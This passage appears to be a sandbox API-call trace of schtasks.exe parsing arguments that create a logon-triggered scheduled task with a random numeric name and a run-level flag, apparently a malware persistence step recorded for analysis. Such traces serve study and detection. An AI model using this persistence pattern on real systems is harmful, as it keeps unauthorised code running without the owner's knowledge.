WinSqmIsOptedIn () returned 0x0 [0019.992] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0019.992] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0019.992] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0019.993] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0019.993] RtlVerifyVersionInfo (VersionInfo=0x56c410f6a0, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0019.993] lstrlenW (lpString="") returned 0 [0019.993] SetThreadUILanguage (LangId=0x0) returned 0x409 [0019.993] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0019.994] _memicmp (_Buf1=0x56c4233b70, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0019.994] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x56c423c750, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0019.994] LdrResolveDelayLoadedAPI () returned 0x7ffe21e81360 [0019.995] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x56c410f7f8 | out: lpdwHandle=0x56c410f7f8) returned 0x77c [0019.996] LdrResolveDelayLoadedAPI () returned 0x7ffe21e81370 [0019.996] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x786, lpData=0x56c423ea90 | out: lpData=0x56c423ea90) returned 1 [0019.996] LdrResolveDelayLoadedAPI () returned 0x7ffe21e81350 [0019.996] VerQueryValueW (in: pBlock=0x56c423ea90, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x56c410f790, puLen=0x56c410f7f0 | out: lplpBuffer=0x56c410f790*=0x56c423ee48, puLen=0x56c410f7f0) returned 1 [0019.997] _memicmp (_Buf1=0x56c4233b70, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0019.997] _vsnwprintf (in: _Buffer=0x56c423c750, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x56c410f768 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0019.997] VerQueryValueW (in: pBlock=0x56c423ea90, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x56c410f780, puLen=0x56c410f7e8 | out: lplpBuffer=0x56c410f780*=0x56c423ec74, puLen=0x56c410f7e8) returned 1 [0019.997] lstrlenW (lpString="schtasks.exe") returned 12 [0019.997] lstrlenW (lpString="schtasks.exe") returned 12 [0019.997] lstrlenW (lpString=".EXE") returned 4 [0019.997] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0019.998] lstrlenW (lpString="schtasks.exe") returned 12 [0019.998] lstrlenW (lpString=".EXE") returned 4 [0019.998] _memicmp (_Buf1=0x56c4233b70, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0019.998] lstrlenW (lpString="schtasks") returned 8 [0019.998] _memicmp (_Buf1=0x56c4237390, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0019.998] _memicmp (_Buf1=0x56c42373b0, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0019.998] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x56c423f560, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0019.998] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0019.998] _vsnwprintf (in: _Buffer=0x56c423c960, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x56c410f768 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0019.998] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0019.998] GetThreadLocale () returned 0x409 [0019.998] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0019.998] lstrlenW (lpString="?") returned 1 [0019.999] GetThreadLocale () returned 0x409 [0019.999] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0019.999] lstrlenW (lpString="create") returned 6 [0019.999] GetThreadLocale () returned 0x409 [0019.999] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0019.999] lstrlenW (lpString="delete") returned 6 [0019.999] GetThreadLocale () returned 0x409 [0019.999] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0019.999] lstrlenW (lpString="query") returned 5 [0019.999] GetThreadLocale () returned 0x409 [0019.999] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0019.999] lstrlenW (lpString="change") returned 6 [0019.999] GetThreadLocale () returned 0x409 [0019.999] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0019.999] lstrlenW (lpString="run") returned 3 [0019.999] GetThreadLocale () returned 0x409 [0019.999] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0019.999] lstrlenW (lpString="end") returned 3 [0019.999] GetThreadLocale () returned 0x409 [0019.999] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0019.999] lstrlenW (lpString="showsid") returned 7 [0019.999] GetThreadLocale () returned 0x409 [0019.999] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0019.999] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0019.999] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0019.999] lstrlenW (lpString="/create") returned 7 [0019.999] lstrlenW (lpString="-/") returned 2 [0019.999] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0019.999] lstrlenW (lpString="?") returned 1 [0019.999] lstrlenW (lpString="?") returned 1 [0019.999] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0019.999] lstrlenW (lpString="create") returned 6 [0019.999] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0019.999] _vsnwprintf (in: _Buffer=0x56c42373d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|?|") returned 3 [0019.999] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x9, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|create|") returned 8 [0019.999] lstrlenW (lpString="|?|") returned 3 [0019.999] lstrlenW (lpString="|create|") returned 8 [0019.999] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0019.999] lstrlenW (lpString="create") returned 6 [0019.999] lstrlenW (lpString="create") returned 6 [0019.999] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0019.999] lstrlenW (lpString="create") returned 6 [0019.999] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0019.999] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|create|") returned 8 [0019.999] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x9, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|create|") returned 8 [0019.999] lstrlenW (lpString="|create|") returned 8 [0019.999] lstrlenW (lpString="|create|") returned 8 [0019.999] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0020.000] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.000] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.000] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.000] lstrlenW (lpString="/sc") returned 3 [0020.000] lstrlenW (lpString="-/") returned 2 [0020.000] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0020.000] lstrlenW (lpString="?") returned 1 [0020.000] lstrlenW (lpString="?") returned 1 [0020.000] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.000] lstrlenW (lpString="sc") returned 2 [0020.000] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.000] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|?|") returned 3 [0020.000] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|sc|") returned 4 [0020.000] lstrlenW (lpString="|?|") returned 3 [0020.000] lstrlenW (lpString="|sc|") returned 4 [0020.000] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.000] lstrlenW (lpString="create") returned 6 [0020.000] lstrlenW (lpString="create") returned 6 [0020.000] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.000] lstrlenW (lpString="sc") returned 2 [0020.000] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.000] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|create|") returned 8 [0020.000] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|sc|") returned 4 [0020.000] lstrlenW (lpString="|create|") returned 8 [0020.000] lstrlenW (lpString="|sc|") returned 4 [0020.000] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0020.000] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.000] lstrlenW (lpString="delete") returned 6 [0020.000] lstrlenW (lpString="delete") returned 6 [0020.000] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.000] lstrlenW (lpString="sc") returned 2 [0020.000] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.000] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|delete|") returned 8 [0020.000] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|sc|") returned 4 [0020.000] lstrlenW (lpString="|delete|") returned 8 [0020.000] lstrlenW (lpString="|sc|") returned 4 [0020.000] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0020.000] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.000] lstrlenW (lpString="query") returned 5 [0020.000] lstrlenW (lpString="query") returned 5 [0020.000] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.000] lstrlenW (lpString="sc") returned 2 [0020.000] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.000] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|query|") returned 7 [0020.000] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|sc|") returned 4 [0020.000] lstrlenW (lpString="|query|") returned 7 [0020.000] lstrlenW (lpString="|sc|") returned 4 [0020.000] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0020.000] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.000] lstrlenW (lpString="change") returned 6 [0020.000] lstrlenW (lpString="change") returned 6 [0020.000] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.000] lstrlenW (lpString="sc") returned 2 [0020.000] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.000] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|change|") returned 8 [0020.000] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|sc|") returned 4 [0020.000] lstrlenW (lpString="|change|") returned 8 [0020.000] lstrlenW (lpString="|sc|") returned 4 [0020.001] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0020.001] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.001] lstrlenW (lpString="run") returned 3 [0020.001] lstrlenW (lpString="run") returned 3 [0020.001] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.001] lstrlenW (lpString="sc") returned 2 [0020.001] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.001] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|run|") returned 5 [0020.001] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|sc|") returned 4 [0020.001] lstrlenW (lpString="|run|") returned 5 [0020.001] lstrlenW (lpString="|sc|") returned 4 [0020.001] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0020.001] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.001] lstrlenW (lpString="end") returned 3 [0020.001] lstrlenW (lpString="end") returned 3 [0020.001] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.001] lstrlenW (lpString="sc") returned 2 [0020.001] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.001] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|end|") returned 5 [0020.001] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|sc|") returned 4 [0020.001] lstrlenW (lpString="|end|") returned 5 [0020.001] lstrlenW (lpString="|sc|") returned 4 [0020.001] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0020.001] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.001] lstrlenW (lpString="showsid") returned 7 [0020.001] lstrlenW (lpString="showsid") returned 7 [0020.001] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.001] lstrlenW (lpString="sc") returned 2 [0020.001] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.001] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|showsid|") returned 9 [0020.001] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|sc|") returned 4 [0020.001] lstrlenW (lpString="|showsid|") returned 9 [0020.001] lstrlenW (lpString="|sc|") returned 4 [0020.001] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0020.001] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.001] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.001] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.001] lstrlenW (lpString="/sc") returned 3 [0020.001] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0020.001] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.001] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.001] lstrlenW (lpString="/sc") returned 3 [0020.001] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.001] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.001] lstrlenW (lpString="onlogon") returned 7 [0020.001] lstrlenW (lpString="-/") returned 2 [0020.001] StrChrIW (lpStart="-/", wMatch=0x6f) returned 0x0 [0020.001] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.001] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.001] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.001] lstrlenW (lpString="onlogon") returned 7 [0020.001] StrChrIW (lpStart="onlogon", wMatch=0x3a) returned 0x0 [0020.002] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.002] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.002] lstrlenW (lpString="onlogon") returned 7 [0020.002] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.002] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.002] lstrlenW (lpString="/tn") returned 3 [0020.002] lstrlenW (lpString="-/") returned 2 [0020.002] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0020.002] lstrlenW (lpString="?") returned 1 [0020.002] lstrlenW (lpString="?") returned 1 [0020.002] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.002] lstrlenW (lpString="tn") returned 2 [0020.002] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.002] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|?|") returned 3 [0020.002] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|tn|") returned 4 [0020.002] lstrlenW (lpString="|?|") returned 3 [0020.002] lstrlenW (lpString="|tn|") returned 4 [0020.002] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.002] lstrlenW (lpString="create") returned 6 [0020.002] lstrlenW (lpString="create") returned 6 [0020.002] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.002] lstrlenW (lpString="tn") returned 2 [0020.002] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.002] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|create|") returned 8 [0020.002] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|tn|") returned 4 [0020.002] lstrlenW (lpString="|create|") returned 8 [0020.002] lstrlenW (lpString="|tn|") returned 4 [0020.002] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0020.002] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.002] lstrlenW (lpString="delete") returned 6 [0020.002] lstrlenW (lpString="delete") returned 6 [0020.002] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.002] lstrlenW (lpString="tn") returned 2 [0020.002] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.002] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|delete|") returned 8 [0020.002] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|tn|") returned 4 [0020.002] lstrlenW (lpString="|delete|") returned 8 [0020.002] lstrlenW (lpString="|tn|") returned 4 [0020.002] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0020.002] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.002] lstrlenW (lpString="query") returned 5 [0020.002] lstrlenW (lpString="query") returned 5 [0020.002] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.002] lstrlenW (lpString="tn") returned 2 [0020.002] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.002] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|query|") returned 7 [0020.002] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|tn|") returned 4 [0020.002] lstrlenW (lpString="|query|") returned 7 [0020.002] lstrlenW (lpString="|tn|") returned 4 [0020.002] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0020.002] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.002] lstrlenW (lpString="change") returned 6 [0020.002] lstrlenW (lpString="change") returned 6 [0020.002] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.002] lstrlenW (lpString="tn") returned 2 [0020.002] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.003] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|change|") returned 8 [0020.003] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|tn|") returned 4 [0020.003] lstrlenW (lpString="|change|") returned 8 [0020.003] lstrlenW (lpString="|tn|") returned 4 [0020.003] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0020.003] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.003] lstrlenW (lpString="run") returned 3 [0020.003] lstrlenW (lpString="run") returned 3 [0020.003] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.003] lstrlenW (lpString="tn") returned 2 [0020.003] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.003] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|run|") returned 5 [0020.003] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|tn|") returned 4 [0020.003] lstrlenW (lpString="|run|") returned 5 [0020.003] lstrlenW (lpString="|tn|") returned 4 [0020.003] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0020.003] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.003] lstrlenW (lpString="end") returned 3 [0020.003] lstrlenW (lpString="end") returned 3 [0020.003] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.003] lstrlenW (lpString="tn") returned 2 [0020.003] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.003] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|end|") returned 5 [0020.003] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|tn|") returned 4 [0020.003] lstrlenW (lpString="|end|") returned 5 [0020.003] lstrlenW (lpString="|tn|") returned 4 [0020.003] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0020.003] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.003] lstrlenW (lpString="showsid") returned 7 [0020.003] lstrlenW (lpString="showsid") returned 7 [0020.003] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.003] lstrlenW (lpString="tn") returned 2 [0020.003] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.003] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|showsid|") returned 9 [0020.003] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|tn|") returned 4 [0020.003] lstrlenW (lpString="|showsid|") returned 9 [0020.003] lstrlenW (lpString="|tn|") returned 4 [0020.003] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0020.003] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.003] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.003] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.003] lstrlenW (lpString="/tn") returned 3 [0020.003] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0020.003] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.003] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.003] lstrlenW (lpString="/tn") returned 3 [0020.003] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.003] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.003] lstrlenW (lpString="3123635631") returned 10 [0020.003] lstrlenW (lpString="-/") returned 2 [0020.003] StrChrIW (lpStart="-/", wMatch=0x33) returned 0x0 [0020.003] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.003] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.003] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.003] lstrlenW (lpString="3123635631") returned 10 [0020.003] StrChrIW (lpStart="3123635631", wMatch=0x3a) returned 0x0 [0020.003] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.004] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.004] lstrlenW (lpString="3123635631") returned 10 [0020.004] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.004] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.004] lstrlenW (lpString="/rl") returned 3 [0020.004] lstrlenW (lpString="-/") returned 2 [0020.004] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0020.004] lstrlenW (lpString="?") returned 1 [0020.004] lstrlenW (lpString="?") returned 1 [0020.004] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.004] lstrlenW (lpString="rl") returned 2 [0020.004] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.004] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|?|") returned 3 [0020.004] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|rl|") returned 4 [0020.004] lstrlenW (lpString="|?|") returned 3 [0020.004] lstrlenW (lpString="|rl|") returned 4 [0020.004] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.004] lstrlenW (lpString="create") returned 6 [0020.004] lstrlenW (lpString="create") returned 6 [0020.004] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.004] lstrlenW (lpString="rl") returned 2 [0020.004] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.004] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|create|") returned 8 [0020.004] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|rl|") returned 4 [0020.004] lstrlenW (lpString="|create|") returned 8 [0020.004] lstrlenW (lpString="|rl|") returned 4 [0020.004] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0020.004] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.004] lstrlenW (lpString="delete") returned 6 [0020.004] lstrlenW (lpString="delete") returned 6 [0020.004] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.004] lstrlenW (lpString="rl") returned 2 [0020.004] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.004] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|delete|") returned 8 [0020.004] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410f778 | out: 